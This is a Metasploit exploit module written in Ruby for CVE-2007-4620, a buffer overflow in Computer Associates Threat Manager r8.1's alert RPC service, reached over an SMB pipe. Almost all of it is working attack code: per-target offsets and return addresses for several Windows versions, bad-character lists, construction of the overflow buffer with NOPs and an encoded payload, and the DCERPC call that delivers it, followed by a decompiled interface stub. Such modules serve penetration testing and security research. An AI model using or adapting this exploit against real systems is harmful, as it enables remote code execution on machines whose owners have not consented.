Computer Associates – Alert Notification Buffer Overflow (Metasploit)
## # $Id: etrust_itm_alert.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Computer Associates Alert Notification Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Computer Associates Threat Manager for the Enterprise r8.1 By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code. In order to successfully exploit this vulnerability, you will need valid logon credentials to the target. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2007-4620' ], [ 'OSVDB', '44040' ], [ 'BID', '28605' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 550, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2003 SP0 English', { 'Offset' => 979, 'Ret' => 0x77e03efb } ], [ 'Windows 2000 SP4 English', { 'Offset' => 979, 'Ret' => 0x7c30d043 } ], [ 'CA BrightStor ARCServe Backup 11.5 / Windows 2000 SP4 English', { 'Offset' => 207, 'Ret' => 0x7c2e7993 } ], # Yin Dehui ], 'DisclosureDate' => 'Apr 4 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (alert)", 'alert']), ], self.class) end def exploit connect() smb_login() handle = dcerpc_handle('3d742890-397c-11cf-9bf1-00805f88cb72', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") filler = rand_text_english(target['Offset']) + [target.ret].pack('V') + make_nops(12) filler << payload.encoded + rand_text_english(772) sploit = NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.string(filler + "\x00") sploit << NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.long(0) print_status("Trying target #{target.name}...") begin dcerpc_call(0x00, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end =begin /* * IDL code generated by mIDA v1.0.8 * Copyright (C) 2006, Tenable Network Security * http://cgi.tenablesecurity.com/tenable/mida.php * * * Decompilation information: * RPC stub type: inline */ [ uuid(3d742890-397c-11cf-9bf1-00805f88cb72), version(1.0) ] interface mIDA_interface { typedef struct struct_1 { long elem_1; [size_is(10000), length_is(elem_1)] struct struct_2 * elem_2; } struct_1 ; typedef struct struct_2 { char elem_1[52]; } struct_2 ; /* opcode: 0x00, address: 0x00401000 */ long sub_401000 ( [in][ref][string] char * arg_1, [out][ref] struct struct_1 * arg_2, [in][ref][string] char * arg_3 ); } =end |